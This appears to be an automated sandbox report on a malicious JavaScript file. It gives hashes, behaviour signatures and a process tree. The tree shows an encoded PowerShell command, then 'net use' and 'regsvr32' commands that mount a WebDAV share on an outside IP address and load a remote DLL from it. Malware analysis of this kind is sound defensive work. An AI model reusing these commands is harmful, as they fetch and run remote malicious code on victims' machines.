Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    14-11-2024 02:11

General

  • Target

    20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js

  • Size

    1.6MB

  • MD5

    bae204a687fd5f7dc29dd82e51ae085b

  • SHA1

    dcf4b0f1cbd08002dce18a01d8f5d1eeae8bfc8a

  • SHA256

    20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74

  • SHA512

    9d0b1099f782d949f756d3987f61479dabd3f41ddb56b61b55feb2cda2a341ea3b1a43e48cb4adcf06da590f9caf3123e61eeb01a5f02c227c8dec10ad313051

  • SSDEEP

    24576:Us9MhhwQhD8I9YgygaXziWqE9oGzJWPan2Yhxp:V

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADcAMQAwADEANgA2ADUANQAyADIANQAxADAALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2008
      • C:\Windows\system32\timeout.exe
        "C:\Windows\system32\timeout.exe" 1
        3⤵
        • Delays execution with timeout.exe
        PID:2900
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Windows\system32\net.exe
          net use \\94.159.113.79@8888\davwwwroot\
          4⤵
            PID:2772
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3044
          • C:\Windows\system32\regsvr32.exe
            regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
            4⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2628

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/2008-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

      Filesize

      4KB

    • memory/2008-5-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2008-6-0x000000001B2B0000-0x000000001B592000-memory.dmp

      Filesize

      2.9MB

    • memory/2008-7-0x00000000024E0000-0x00000000024E8000-memory.dmp

      Filesize

      32KB

    • memory/2008-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2008-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2008-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

      Filesize

      9.6MB